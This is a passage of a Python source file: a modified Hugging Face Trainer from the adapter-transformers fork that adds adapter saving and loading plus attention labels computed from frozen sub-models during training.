If provided, will override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`, columns not
accepted by the ``model.forward()`` method are automatically removed. It must implement :obj:`__len__`.
"""
if eval_dataset is None and self.eval_dataset is None:
raise ValueError("Trainer: evaluation requires an eval_dataset.")
elif eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized):
raise ValueError("eval_dataset must implement __len__")
elif is_datasets_available() and isinstance(eval_dataset, datasets.Dataset):
self._remove_unused_columns(eval_dataset, description="evaluation")
eval_dataset = eval_dataset if eval_dataset is not None else self.eval_dataset
eval_sampler = self._get_eval_sampler(eval_dataset)
return DataLoader(
eval_dataset,
sampler=eval_sampler,
batch_size=self.args.eval_batch_size,
collate_fn=self.data_collator,
drop_last=self.args.dataloader_drop_last,
num_workers=self.args.dataloader_num_workers,
)
def get_test_dataloader(self, test_dataset: Dataset) -> DataLoader:
"""
Returns the test :class:`~torch.utils.data.DataLoader`.
Subclass and override this method if you want to inject some custom behavior.
Args:
test_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
The test dataset to use. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed. It must implement :obj:`__len__`.
"""
if not isinstance(test_dataset, collections.abc.Sized):
raise ValueError("test_dataset must implement __len__")
elif is_datasets_available() and isinstance(test_dataset, datasets.Dataset):
self._remove_unused_columns(test_dataset, description="test")
test_sampler = self._get_eval_sampler(test_dataset)
# We use the same batch_size as for eval.
return DataLoader(
test_dataset,
sampler=test_sampler,
batch_size=self.args.eval_batch_size,
collate_fn=self.data_collator,
drop_last=self.args.dataloader_drop_last,
)
def create_optimizer_and_scheduler(self, num_training_steps: int):
"""
Setup the optimizer and the learning rate scheduler.
We provide a reasonable default that works well. If you want to use something else, you can pass a tuple in the
Trainer's init through :obj:`optimizers`, or subclass and override this method in a subclass.
"""
if self.optimizer is None:
no_decay = ["bias", "LayerNorm.weight"]
if hasattr(self.model.config, "adapter_fusion_models"):
no_decay += [f"adapter_fusion_layer.{n}.value" for n in self.model.config.adapter_fusion_models]
optimizer_grouped_parameters = [
{
"params": [p for n, p in self.model.named_parameters() if not any(nd in n for nd in no_decay)],
"weight_decay": self.args.weight_decay,
},
{
"params": [p for n, p in self.model.named_parameters() if any(nd in n for nd in no_decay)],
"weight_decay": 0.0,
},
]
self.optimizer = AdamW(
optimizer_grouped_parameters,
lr=self.args.learning_rate,
betas=(self.args.adam_beta1, self.args.adam_beta2),
eps=self.args.adam_epsilon,
)
if self.lr_scheduler is None:
self.lr_scheduler = get_linear_schedule_with_warmup(
self.optimizer, num_warmup_steps=self.args.warmup_steps, num_training_steps=num_training_steps
)
def num_examples(self, dataloader: DataLoader) -> int:
"""
Helper to get number of samples in a :class:`~torch.utils.data.DataLoader` by accessing its dataset.
Will raise an exception if the underlying dataset dese not implement method :obj:`__len__`
"""
return len(dataloader.dataset)
def _hp_search_setup(self, trial: Union["optuna.Trial", Dict[str, Any]]):
""" HP search setup code """
self._trial = trial
if self.hp_search_backend is None or trial is None:
return
params = self.hp_space(trial) if self.hp_search_backend == HPSearchBackend.OPTUNA else trial
for key, value in params.items():
if not hasattr(self.args, key):
raise AttributeError(
f"Trying to set {key} in the hyperparameter search but there is no corresponding field in `TrainingArguments`."
)
old_attr = getattr(self.args, key, None)
# Casting value to the proper type
if old_attr is not None:
value = type(old_attr)(value)
setattr(self.args, key, value)
if self.hp_search_backend == HPSearchBackend.OPTUNA:
logger.info("Trial:", trial.params)
def _report_to_hp_search(
self, trial: Union["optuna.Trial", Dict[str, Any]], epoch: int, metrics: Dict[str, float]
):
if self.hp_search_backend is None or trial is None:
return
self.objective = self.compute_objective(metrics.copy())
if self.hp_search_backend == HPSearchBackend.OPTUNA:
trial.report(self.objective, epoch)
if trial.should_prune():
raise optuna.TrialPruned()
elif self.hp_search_backend == HPSearchBackend.RAY:
if self.state.global_step % self.args.save_steps == 0:
self._tune_save_checkpoint()
tune.report(objective=self.objective, **metrics)
def _tune_save_checkpoint(self):
if not self.use_tune_checkpoints:
return
with tune.checkpoint_dir(step=self.state.global_step) as checkpoint_dir:
self.args.output_dir = checkpoint_dir
output_dir = os.path.join(self.args.output_dir, f"{PREFIX_CHECKPOINT_DIR}-{self.state.global_step}")
self.save_model(output_dir)
if self.is_world_master():
self.state.save_to_json(os.path.join(output_dir, "trainer_state.json"))
torch.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt"))
torch.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt"))
def call_model_init(self, trial=None):
model_init_argcount = len(inspect.signature(self.model_init).parameters)
if model_init_argcount == 0:
model = self.model_init()
elif model_init_argcount == 1:
model = self.model_init(trial)
else:
raise RuntimeError("model_init should have 0 or 1 argument.")
if model is None:
raise RuntimeError("model_init should not return None.")
return model
def train(self, model_path: Optional[str] = None, trial: Union["optuna.Trial", Dict[str, Any]] = None):
"""
Main training entry point.
Args:
model_path (:obj:`str`, `optional`):
Local path to the model if the model to train has been instantiated from a local path. If present,
training will resume from the optimizer/scheduler states loaded here.
trial (:obj:`optuna.Trial` or :obj:`Dict[str, Any]`, `optional`):
The trial run or the hyperparameter dictionary for hyperparameter search.
"""
# This might change the seed so needs to run first.
self._hp_search_setup(trial)
# Model re-init
if self.model_init is not None:
# Seed must be set before instantiating the model when using model_init.
set_seed(self.args.seed)
model = self.call_model_init(trial)
self.model = model.to(self.args.device)
# Reinitializes optimizer and scheduler
self.optimizer, self.lr_scheduler = None, None
# Keeping track whether we can can len() on the dataset or not
train_dataset_is_sized = isinstance(self.train_dataset, collections.abc.Sized)
# Data loader and number of training steps
train_dataloader = self.get_train_dataloader()
# Setting up training control variables:
# number of training epochs: num_train_epochs
# number of training steps per epoch: num_update_steps_per_epoch
# total number of training steps to execute: max_steps
if train_dataset_is_sized:
num_update_steps_per_epoch = len(train_dataloader) // self.args.gradient_accumulation_steps
num_update_steps_per_epoch = max(num_update_steps_per_epoch, 1)
if self.args.max_steps > 0:
max_steps = self.args.max_steps
num_train_epochs = self.args.max_steps // num_update_steps_per_epoch + int(
self.args.max_steps % num_update_steps_per_epoch > 0
)
else:
max_steps = math.ceil(self.args.num_train_epochs * num_update_steps_per_epoch)
num_train_epochs = math.ceil(self.args.num_train_epochs)
else:
# see __init__. max_steps is set when the dataset has no __len__
max_steps = self.args.max_steps
num_train_epochs = 1
num_update_steps_per_epoch = max_steps
self.create_optimizer_and_scheduler(num_training_steps=max_steps)
self.state = TrainerState()
self.state.is_hyper_param_search = trial is not None
# Check if saved optimizer or scheduler states exist
self._load_optimizer_and_scheduler(model_path)
# Mixed precision training with apex (torch < 1.6)
model = self.model
sub_model_list = self.sub_model_list if self.sub_model_list is not None else None
if self.args.fp16 and _use_apex:
if not is_apex_available():
raise ImportError("Please install apex from https://www.github.com/nvidia/apex to use fp16 training.")
model, self.optimizer = amp.initialize(model, self.optimizer, opt_level=self.args.fp16_opt_level)
# Multi-gpu training (should be after apex fp16 initialization)
if self.args.n_gpu > 1:
model = torch.nn.DataParallel(model)
if sub_model_list is not None:
for s_index, sub_model in enumerate(sub_model_list):
sub_model_list[s_index] = torch.nn.DataParallel(sub_model)
print("pooh pararell worked")
# Distributed training (should be after apex fp16 initialization)
if self.args.local_rank != -1:
model = torch.nn.parallel.DistributedDataParallel(
model,
device_ids=[self.args.local_rank],
output_device=self.args.local_rank,
find_unused_parameters=(
not getattr(model.config, "gradient_checkpointing", False)
if isinstance(model, PreTrainedModel)
else True
),
)
# find_unused_parameters breaks checkpointing as per
# https://github.com/huggingface/transformers/pull/4659#issuecomment-643356021
# Train!
if is_torch_tpu_available():
total_train_batch_size = self.args.train_batch_size * xm.xrt_world_size()
else:
total_train_batch_size = (
self.args.train_batch_size
* self.args.gradient_accumulation_steps
* (torch.distributed.get_world_size() if self.args.local_rank != -1 else 1)
)
num_examples = (
self.num_examples(train_dataloader)
if train_dataset_is_sized
else total_train_batch_size * self.args.max_steps
)
logger.info("***** Running training *****")
logger.info(" Num examples = %d", num_examples)
logger.info(" Num Epochs = %d", num_train_epochs)
logger.info(" Instantaneous batch size per device = %d", self.args.per_device_train_batch_size)
logger.info(" Total train batch size (w. parallel, distributed & accumulation) = %d", total_train_batch_size)
logger.info(" Gradient Accumulation steps = %d", self.args.gradient_accumulation_steps)
logger.info(" Total optimization steps = %d", max_steps)
self.state.epoch = 0
epochs_trained = 0
steps_trained_in_current_epoch = 0
# Check if continuing training from a checkpoint
if model_path and os.path.isfile(os.path.join(model_path, "trainer_state.json")):
self.state = TrainerState.load_from_json(os.path.join(model_path, "trainer_state.json"))
epochs_trained = self.state.global_step // num_update_steps_per_epoch
steps_trained_in_current_epoch = self.state.global_step % (num_update_steps_per_epoch)
logger.info(" Continuing training from checkpoint, will skip to saved global_step")
logger.info(" Continuing training from epoch %d", epochs_trained)
logger.info(" Continuing training from global step %d", self.state.global_step)
logger.info(" Will skip the first %d steps in the first epoch", steps_trained_in_current_epoch)
# Update the references
self.callback_handler.model = self.model
self.callback_handler.optimizer = self.optimizer
self.callback_handler.lr_scheduler = self.lr_scheduler
self.callback_handler.train_dataloader = train_dataloader
self.state.trial_name = self.hp_name(trial) if self.hp_name is not None else None
self.state.trial_params = hp_params(trial) if trial is not None else None
# This should be the same if the state has been saved but in case the training arguments changed, it's safer
# to set this after the load.
self.state.max_steps = max_steps
self.state.num_train_epochs = num_train_epochs
self.state.is_local_process_zero = self.is_local_process_zero()
self.state.is_world_process_zero = self.is_world_process_zero()
tr_loss = torch.tensor(0.0).to(self.args.device)
self._logging_loss_scalar = 0
self._globalstep_last_logged = 0
self._total_flos = self.state.total_flos
model.zero_grad()
self.control = self.callback_handler.on_train_begin(self.args, self.state, self.control)
for epoch in range(epochs_trained, num_train_epochs):
if isinstance(train_dataloader, DataLoader) and isinstance(train_dataloader.sampler, DistributedSampler):
train_dataloader.sampler.set_epoch(epoch)
if is_torch_tpu_available():
parallel_loader = pl.ParallelLoader(train_dataloader, [self.args.device]).per_device_loader(
self.args.device
)
epoch_iterator = parallel_loader
else:
epoch_iterator = train_dataloader
# Reset the past mems state at the beginning of each epoch if necessary.
if self.args.past_index >= 0:
self._past = None
steps_in_epoch = len(epoch_iterator) if train_dataset_is_sized else self.args.max_steps
self.control = self.callback_handler.on_epoch_begin(self.args, self.state, self.control)
for step, inputs in enumerate(epoch_iterator):
# Skip past any already trained steps if resuming training
if steps_trained_in_current_epoch > 0:
steps_trained_in_current_epoch -= 1
continue
if (step + 1) % self.args.gradient_accumulation_steps == 0:
self.control = self.callback_handler.on_step_begin(self.args, self.state, self.control)
if (
((step + 1) % self.args.gradient_accumulation_steps != 0)
and self.args.local_rank != -1
and _use_ddp_no_sync
):
with model.no_sync():
tr_loss += self.training_step(model, inputs)
else:
if sub_model_list is not None :
tr_loss += self.training_step(model, inputs, sub_model_list, step, epoch)
else:
tr_loss += self.training_step(model, inputs)
self._total_flos += self.floating_point_ops(inputs)
if (step + 1) % self.args.gradient_accumulation_steps == 0 or (
# last step in epoch but step is always smaller than gradient_accumulation_steps
steps_in_epoch <= self.args.gradient_accumulation_steps
and (step + 1) == steps_in_epoch
):
# apply adapter fusion weight regularization on the value matrix
if (
hasattr(self.model.config, "adapter_fusion")
and self.model.config.adapter_fusion["regularization"]
):
fusion_reg_loss = self.model.base_model.get_fusion_regularization_loss()
fusion_reg_loss.backward()
if self.args.fp16 and _use_native_amp:
self.scaler.unscale_(self.optimizer)
torch.nn.utils.clip_grad_norm_(model.parameters(), self.args.max_grad_norm)
elif self.args.fp16 and _use_apex:
torch.nn.utils.clip_grad_norm_(amp.master_params(self.optimizer), self.args.max_grad_norm)
else:
torch.nn.utils.clip_grad_norm_(model.parameters(), self.args.max_grad_norm)
if is_torch_tpu_available():
xm.optimizer_step(self.optimizer)
elif self.args.fp16 and _use_native_amp:
self.scaler.step(self.optimizer)
self.scaler.update()
else:
self.optimizer.step()
self.lr_scheduler.step()
model.zero_grad()
self.state.global_step += 1
self.state.epoch = epoch + (step + 1) / steps_in_epoch
self.control = self.callback_handler.on_step_end(self.args, self.state, self.control)
self._maybe_log_save_evaluate(tr_loss, model, trial, epoch)
if self.control.should_epoch_stop or self.control.should_training_stop:
break
self.control = self.callback_handler.on_epoch_end(self.args, self.state, self.control)
self._maybe_log_save_evaluate(tr_loss, model, trial, epoch)
if self.args.tpu_metrics_debug or self.args.debug:
if is_torch_tpu_available():
# tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.)
xm.master_print(met.metrics_report())
else:
logger.warning(
"You enabled PyTorch/XLA debug metrics but you don't have a TPU "
"configured. Check your training configuration if this is unexpected."
)
if self.control.should_training_stop:
break
if self.args.past_index and hasattr(self, "_past"):
# Clean the state at the end of training
delattr(self, "_past")
if self.do_save_adapters:
logger.info("\n\nTraining completed. Do not forget to share your adapters on https://adapterhub.ml =)\n\n")
else:
logger.info("\n\nTraining completed. Do not forget to share your model on huggingface.co/models =)\n\n")
if self.args.load_best_model_at_end and self.state.best_model_checkpoint is not None:
if self.do_save_full_model:
logger.info(
f"Loading best model from {self.state.best_model_checkpoint} (score: {self.state.best_metric})."
)
if isinstance(model, PreTrainedModel):
self.model = model.from_pretrained(self.state.best_model_checkpoint)
else:
state_dict = torch.load(os.path.join(self.state.best_model_checkpoint, WEIGHTS_NAME))
self.model.load_state_dict(state_dict)
if self.do_save_adapters:
logger.info(
f"Loading best adapter(s) from {self.state.best_model_checkpoint} (score: {self.state.best_metric})."
)
# attempt to re-load all adapters from checkpoint
for adapter in self.model.config.adapters.adapters:
adapter_dir = os.path.join(self.state.best_model_checkpoint, adapter)
if os.path.exists(adapter_dir):
self.model.load_adapter(adapter_dir)
if self.do_save_adapter_fusion:
logger.info(
f"Loading best adapter fusion(s) from {self.state.best_model_checkpoint} (score: {self.state.best_metric})."
)
# attempt to re-load all adapter fusions from checkpoint
for fusion in self.model.config.adapter_fusion_models:
fusion_dir = os.path.join(self.state.best_model_checkpoint, fusion)
if os.path.exists(fusion_dir):
self.model.load_adapter_fusion(fusion_dir)
self.model = self.model.to(self.args.device)
if self._total_flos is not None:
self.store_flos()
self.log({"total_flos": self.state.total_flos})
self.control = self.callback_handler.on_train_end(self.args, self.state, self.control)
return TrainOutput(self.state.global_step, tr_loss.item() / self.state.global_step)
def _maybe_log_save_evaluate(self, tr_loss, model, trial, epoch):
if self.control.should_log:
logs: Dict[str, float] = {}
tr_loss_scalar = tr_loss.item()
logs["loss"] = (tr_loss_scalar - self._logging_loss_scalar) / (
self.state.global_step - self._globalstep_last_logged
)
# backward compatibility for pytorch schedulers
logs["learning_rate"] = (
self.lr_scheduler.get_last_lr()[0]
if version.parse(torch.__version__) >= version.parse("1.4")
else self.lr_scheduler.get_lr()[0]
)
self._logging_loss_scalar = tr_loss_scalar
self._globalstep_last_logged = self.state.global_step
self.log(logs)
metrics = None
if self.control.should_evaluate:
metrics = self.evaluate()
self._report_to_hp_search(trial, epoch, metrics)
if self.control.should_save:
self._save_checkpoint(model, trial, metrics=metrics)
self.control = self.callback_handler.on_save(self.args, self.state, self.control)
def _save_checkpoint(self, model, trial, metrics=None):
# In all cases (even distributed/parallel), self.model is always a reference
# to the model we want to save.
if hasattr(model, "module"):
assert model.module is self.model, f"Module {model.module} should be a reference to self.model"
else:
assert model is self.model, f"Model {model} should be a reference to self.model"
# Save model checkpoint
checkpoint_folder = f"{PREFIX_CHECKPOINT_DIR}-{self.state.global_step}"
if self.hp_search_backend is not None and trial is not None:
run_id = trial.number if self.hp_search_backend == HPSearchBackend.OPTUNA else tune.get_trial_id()
run_name = self.hp_name(trial) if self.hp_name is not None else f"run-{run_id}"
output_dir = os.path.join(self.args.output_dir, run_name, checkpoint_folder)
else:
output_dir = os.path.join(self.args.output_dir, checkpoint_folder)
self.store_flos()
self.save_model(output_dir)
# Save optimizer and scheduler
if is_torch_tpu_available():
xm.rendezvous("saving_optimizer_states")
xm.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt"))
with warnings.catch_warnings(record=True) as caught_warnings:
xm.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt"))
reissue_pt_warnings(caught_warnings)
elif self.is_world_process_zero():
torch.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt"))
with warnings.catch_warnings(record=True) as caught_warnings:
torch.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt"))
reissue_pt_warnings(caught_warnings)
# Determine the new best metric / best model checkpoint
if metrics is not None and self.args.metric_for_best_model is not None:
metric_to_check = self.args.metric_for_best_model
if not metric_to_check.startswith("eval_"):
metric_to_check = f"eval_{metric_to_check}"
metric_value = metrics[metric_to_check]
operator = np.greater if self.args.greater_is_better else np.less
if (
self.state.best_metric is None
or self.state.best_model_checkpoint is None
or operator(metric_value, self.state.best_metric)
):
self.state.best_metric = metric_value
self.state.best_model_checkpoint = output_dir
# Save the Trainer state
if self.is_world_process_zero():
self.state.save_to_json(os.path.join(output_dir, "trainer_state.json"))
# Maybe delete some older checkpoints.
if self.is_world_process_zero():
self._rotate_checkpoints(use_mtime=True)
def _load_optimizer_and_scheduler(self, model_path):
"""If optimizer and scheduler states exist, load them."""
if (
model_path is not None
and os.path.isfile(os.path.join(model_path, "optimizer.pt"))
and os.path.isfile(os.path.join(model_path, "scheduler.pt"))
):
# Load in optimizer and scheduler states
if is_torch_tpu_available():
# On TPU we have to take some extra precautions to properly load the states on the right device.
optimizer_state = torch.load(os.path.join(model_path, "optimizer.pt"), map_location="cpu")
with warnings.catch_warnings(record=True) as caught_warnings:
lr_scheduler_state = torch.load(os.path.join(model_path, "scheduler.pt"), map_location="cpu")
reissue_pt_warnings(caught_warnings)
xm.send_cpu_data_to_device(optimizer_state, self.args.device)
xm.send_cpu_data_to_device(lr_scheduler_state, self.args.device)
self.optimizer.load_state_dict(optimizer_state)
self.lr_scheduler.load_state_dict(lr_scheduler_state)
else:
self.optimizer.load_state_dict(
torch.load(os.path.join(model_path, "optimizer.pt"), map_location=self.args.device)
)
with warnings.catch_warnings(record=True) as caught_warnings:
self.lr_scheduler.load_state_dict(torch.load(os.path.join(model_path, "scheduler.pt")))
reissue_pt_warnings(caught_warnings)
def hyperparameter_search(
self,
hp_space: Optional[Callable[["optuna.Trial"], Dict[str, float]]] = None,
compute_objective: Optional[Callable[[Dict[str, float]], float]] = None,
n_trials: int = 20,
direction: str = "minimize",
backend: Optional[Union["str", HPSearchBackend]] = None,
hp_name: Optional[Callable[["optuna.Trial"], str]] = None,
**kwargs
) -> BestRun:
"""
Launch an hyperparameter search using ``optuna`` or ``Ray Tune``. The optimized quantity is determined by
:obj:`compute_objectie`, which defaults to a function returning the evaluation loss when no metric is provided,
the sum of all metrics otherwise.
.. warning::
To use this method, you need to have provided a ``model_init`` when initializing your
:class:`~transformers.Trainer`: we need to reinitialize the model at each new run. This is incompatible
with the ``optimizers`` argument, so you need to subclass :class:`~transformers.Trainer` and override the
method :meth:`~transformers.Trainer.create_optimizer_and_scheduler` for custom optimizer/scheduler.
Args:
hp_space (:obj:`Callable[["optuna.Trial"], Dict[str, float]]`, `optional`):
A function that defines the hyperparameter search space. Will default to
:func:`~transformers.trainer_utils.default_hp_space_optuna` or
:func:`~transformers.trainer_utils.default_hp_space_ray` depending on your backend.
compute_objective (:obj:`Callable[[Dict[str, float]], float]`, `optional`):
A function computing the objective to minimize or maximize from the metrics returned by the
:obj:`evaluate` method. Will default to :func:`~transformers.trainer_utils.default_compute_objective`.
n_trials (:obj:`int`, `optional`, defaults to 100):
The number of trial runs to test.
direction(:obj:`str`, `optional`, defaults to :obj:`"minimize"`):
Whether to optimize greater or lower objects. Can be :obj:`"minimize"` or :obj:`"maximize"`, you should
pick :obj:`"minimize"` when optimizing the validation loss, :obj:`"maximize"` when optimizing one or
several metrics.
backend(:obj:`str` or :class:`~transformers.training_utils.HPSearchBackend`, `optional`):
The backend to use for hyperparameter search. Will default to optuna or Ray Tune, depending on which
one is installed. If both are installed, will default to optuna.
kwargs:
Additional keyword arguments passed along to :obj:`optuna.create_study` or :obj:`ray.tune.run`. For
more information see:
- the documentation of `optuna.create_study
<https://optuna.readthedocs.io/en/stable/reference/alias_generated/optuna.create_study.html#optuna.create_study>`__
- the documentation of `tune.run
<https://docs.ray.io/en/latest/tune/api_docs/execution.html#tune-run>`__
Returns:
:class:`transformers.trainer_utils.BestRun`: All the information about the best run.
"""
if backend is None:
backend = default_hp_search_backend()
if backend is None:
raise RuntimeError(
"At least one of optuna or ray should be installed. "
"To install optuna run `pip install optuna`."
"To install ray run `pip install ray[tune]`."
)
backend = HPSearchBackend(backend)
if backend == HPSearchBackend.OPTUNA and not is_optuna_available():
raise RuntimeError("You picked the optuna backend, but it is not installed. Use `pip install optuna`.")
if backend == HPSearchBackend.RAY and not is_ray_available():
raise RuntimeError(
"You picked the Ray Tune backend, but it is not installed. Use `pip install 'ray[tune]'`."
)
self.hp_search_backend = backend
if self.model_init is None:
raise RuntimeError(
"To use hyperparameter search, you need to pass your model through a model_init function."
)
self.hp_space = default_hp_space[backend] if hp_space is None else hp_space
self.hp_name = hp_name
self.compute_objective = default_compute_objective if compute_objective is None else compute_objective
run_hp_search = run_hp_search_optuna if backend == HPSearchBackend.OPTUNA else run_hp_search_ray
best_run = run_hp_search(self, n_trials, direction, **kwargs)
self.hp_search_backend = None
return best_run
def log(self, logs: Dict[str, float]) -> None:
"""
Log :obj:`logs` on the various objects watching training.
Subclass and override this method to inject custom behavior.
Args:
logs (:obj:`Dict[str, float]`):
The values to log.
"""
if hasattr(self, "_log"):
warnings.warn(
"The `_log` method is deprecated and won't be called in a future version, define `log` in your subclass.",
FutureWarning,
)
return self._log(logs)
if self.state.epoch is not None:
logs["epoch"] = self.state.epoch
self.control = self.callback_handler.on_log(self.args, self.state, self.control, logs)
output = {**logs, **{"step": self.state.global_step}}
self.state.log_history.append(output)
def _prepare_inputs(self, inputs: Dict[str, Union[torch.Tensor, Any]]) -> Dict[str, Union[torch.Tensor, Any]]:
"""
Prepare :obj:`inputs` before feeding them to the model, converting them to tensors if they are not already and
handling potential state.
"""
for k, v in inputs.items():
if isinstance(v, torch.Tensor):
inputs[k] = v.to(self.args.device)
if self.args.past_index >= 0 and self._past is not None:
inputs["mems"] = self._past
if self.adapter_names:
inputs["adapter_names"] = self.adapter_names
return inputs
def training_step(self, model: nn.Module, inputs: Dict[str, Union[torch.Tensor, Any]], sub_model_list: List[nn.Module] = None, step=None, epoch=None) -> torch.Tensor:
"""
Perform a training step on a batch of inputs.
Subclass and override to inject custom behavior.
Args:
model (:obj:`nn.Module`):
The model to train.
inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`):
The inputs and targets of the model.
The dictionary will be unpacked before being fed to the model. Most models expect the targets under the
argument :obj:`labels`. Check your model's documentation for all accepted arguments.
Return:
:obj:`torch.Tensor`: The tensor with training loss on this batch.
"""
if hasattr(self, "_training_step"):
warnings.warn(
"The `_training_step` method is deprecated and won't be called in a future version, define `training_step` in your subclass.",
FutureWarning,
)
return self._training_step(model, inputs, self.optimizer, step)
model.train()
if sub_model_list is not None:
for sub_model in sub_model_list:
sub_model.eval()
inputs = self._prepare_inputs(inputs)
if self.args.fp16 and _use_native_amp:
with autocast():
loss = self.compute_loss(model, inputs)
else:
if sub_model_list is not None:
loss = self.compute_loss(model, inputs, sub_model_list, step, epoch)
else:
loss = self.compute_loss(model, inputs)
if self.args.n_gpu > 1:
loss = loss.mean() # mean() to average on multi-gpu parallel training
if self.args.gradient_accumulation_steps > 1:
loss = loss / self.args.gradient_accumulation_steps
if self.args.fp16 and _use_native_amp:
self.scaler.scale(loss).backward()
elif self.args.fp16 and _use_apex:
with amp.scale_loss(loss, self.optimizer) as scaled_loss:
scaled_loss.backward()
else:
loss.backward()
return loss.detach()
def compute_loss(self, model, inputs, sub_model_list=None, step=None, epoch=None):
"""
How the loss is computed by Trainer. By default, all models return the loss in the first element.
Subclass and override for customs behavior.
"""
if sub_model_list is not None:
#multi label
# attention_label = self._multi_label(sub_model_list, inputs)
#single label
attention_label = self._single_label(sub_model_list, inputs)
# attention_label = self._negative_single_label(sub_model_list, inputs)
else:
attention_label = None
outputs = model(**inputs,attention_label=attention_label, step=step, epoch=epoch)
# Save past state if it exists
if self.args.past_index >= 0:
self._past = outputs[self.args.past_index]
# We don't use .loss here since the model may return tuples instead of ModelOutput.
return outputs[0]
def _multi_label(self, sub_model_list, inputs):
attention_label_list = []
for sub_model in sub_model_list:
loss, logits, labels = self.prediction_step(model=sub_model,inputs=inputs, prediction_loss_only=False)
preds = torch.argmax(logits, axis=-1)
b_preds = [int(torch.eq(preds[i],labels[i]).item()) for i in range(labels.shape[-1])]
attention_label_list.append(b_preds)
attention_label = torch.tensor(attention_label_list).transpose(-1,0) # attention_label =[batch_num,answer_choice_num]
return attention_label
def _single_label(self, sub_model_list, inputs):
logit_list = []
c_labels = None
for sub_model in sub_model_list:
loss, logits, labels = self.prediction_step(model=sub_model,inputs=inputs, prediction_loss_only=False)
s_logits = nn.Softmax(dim=-1)(logits)
logit_list.append(s_logits)
if c_labels is not None:
assert (torch.equal(c_labels, labels)), "labels between sub models are different."
c_labels = labels
stack_all = torch.stack(logit_list)
attention_label_list = []
for i in range(stack_all.shape[1]):
answer_index = None
best_var = 0
for j in range(stack_all.shape[0]):
if torch.argmax(stack_all[j][i], dim=-1) == c_labels[i].item():
if torch.std(stack_all[j][i]).item() > best_var:
best_var = torch.std(stack_all[j][i]).item()
answer_index = j
attention_label_list.append(answer_index)
attention_label = []
for answer_label in attention_label_list:
exp_label = []
for choice in range(stack_all.shape[0]):
if answer_label == choice:
exp_label.append(1)
else:
exp_label.append(0)
attention_label.append(exp_label)
attention_label = torch.tensor(attention_label) # attention_label =[8,3]
return attention_label
def _negative_single_label(self, sub_model_list, inputs):
logit_list = []
c_labels = None
for sub_model in sub_model_list:
loss, logits, labels = self.prediction_step(model=sub_model,inputs=inputs, prediction_loss_only=False)
s_logits = nn.Softmax(dim=-1)(logits)
logit_list.append(s_logits)
if c_labels is not None:
assert (torch.equal(c_labels, labels)), "labels between sub models are different."
c_labels = labels
stack_all = torch.stack(logit_list)
attention_label_list = []
for i in range(stack_all.shape[1]):
answer_index = None
wrong_index = None
best_var = 0
worst_var = 0
for j in range(stack_all.shape[0]):
if torch.argmax(stack_all[j][i], dim=-1) == c_labels[i].item():
if torch.std(stack_all[j][i]).item() > best_var:
best_var = torch.std(stack_all[j][i]).item()
answer_index = j
else:
if torch.std(stack_all[j][i]).item() > worst_var:
worst_var = torch.std(stack_all[j][i]).item()
wrong_index = j
attention_label_list.append((answer_index, wrong_index))
attention_label = []
for (answer_label, wrong_label) in attention_label_list:
exp_label = []
for choice in range(stack_all.shape[0]):
if answer_label == choice:
exp_label.append(1)
elif wrong_label == choice:
exp_label.append(-1)
else:
exp_label.append(0)
attention_label.append(exp_label)
attention_label = torch.tensor(attention_label) # attention_label =[8,3]
return attention_label
def is_local_master(self) -> bool:
"""
Whether or not this process is the local (e.g., on one machine if training in a distributed fashion on several
machines) main process.
.. warning::
This method is deprecated, use :meth:`~transformers.Trainer.is_local_process_zero` instead.
"""
warnings.warn("This method is deprecated, use `Trainer.is_local_process_zero()` instead.", FutureWarning)
return self.is_local_process_zero()
def is_local_process_zero(self) -> bool:
"""
Whether or not this process is the local (e.g., on one machine if training in a distributed fashion on several
machines) main process.
"""
if is_torch_tpu_available():
return xm.is_master_ordinal(local=True)
else:
return self.args.local_rank in [-1, 0]
def is_world_master(self) -> bool:
"""
Whether or not this process is the global main process (when training in a distributed fashion on several
machines, this is only going to be :obj:`True` for one process).
.. warning::
This method is deprecated, use :meth:`~transformers.Trainer.is_world_process_zero` instead.
"""
warnings.warn("This method is deprecated, use `Trainer.is_world_process_zero()` instead.", FutureWarning)
return self.is_world_process_zero()
def is_world_process_zero(self) -> bool:
"""
Whether or not this process is the global main process (when training in a distributed fashion on several
machines, this is only going to be :obj:`True` for one process).
"""
if is_torch_tpu_available():
return xm.is_master_ordinal(local=False)
else:
return self.args.local_rank == -1 or torch.distributed.get_rank() == 0
def save_model(self, output_dir: Optional[str] = None):
"""
Will save the model, so you can reload it using :obj:`from_pretrained()`.
Will only save from the world_master process (unless in TPUs).
"""
if is_torch_tpu_available():
self._save_tpu(output_dir)
elif self.is_world_process_zero():
self._save(output_dir)
def _save_tpu(self, output_dir: Optional[str] = None):
output_dir = output_dir if output_dir is not None else self.args.output_dir
logger.info("Saving model checkpoint to %s", output_dir)
if xm.is_master_ordinal():
os.makedirs(output_dir, exist_ok=True)
torch.save(self.args, os.path.join(output_dir, "training_args.bin"))
# Save a trained model and configuration using `save_pretrained()`.
# They can then be reloaded using `from_pretrained()`
xm.rendezvous("saving_checkpoint")
if not isinstance(self.model, PreTrainedModel):
logger.info("Trainer.model is not a `PreTrainedModel`, only saving its state dict.")
state_dict = self.model.state_dict()
xm.save(state_dict, os.path.join(output_dir, WEIGHTS_NAME))
else:
if self.do_save_adapters:
self.model.save_all_adapters(output_dir)
if self.do_save_adapter_fusion:
self.model.save_all_adapter_fusions(output_dir)
if self.do_save_full_model:
self.model.save_pretrained(output_dir)
if self.tokenizer is not None and self.is_world_process_zero():
self.tokenizer.save_pretrained(output_dir)
def _save(self, output_dir: Optional[str] = None):
output_dir = output_dir if output_dir is not None else self.args.output_dir
os.makedirs(output_dir, exist_ok=True)
logger.info("Saving model checkpoint to %s", output_dir)
# Save a trained model and configuration using `save_pretrained()`.
# They can then be reloaded using `from_pretrained()`
if not isinstance(self.model, PreTrainedModel):
logger.info("Trainer.model is not a `PreTrainedModel`, only saving its state dict.")
state_dict = self.model.state_dict()
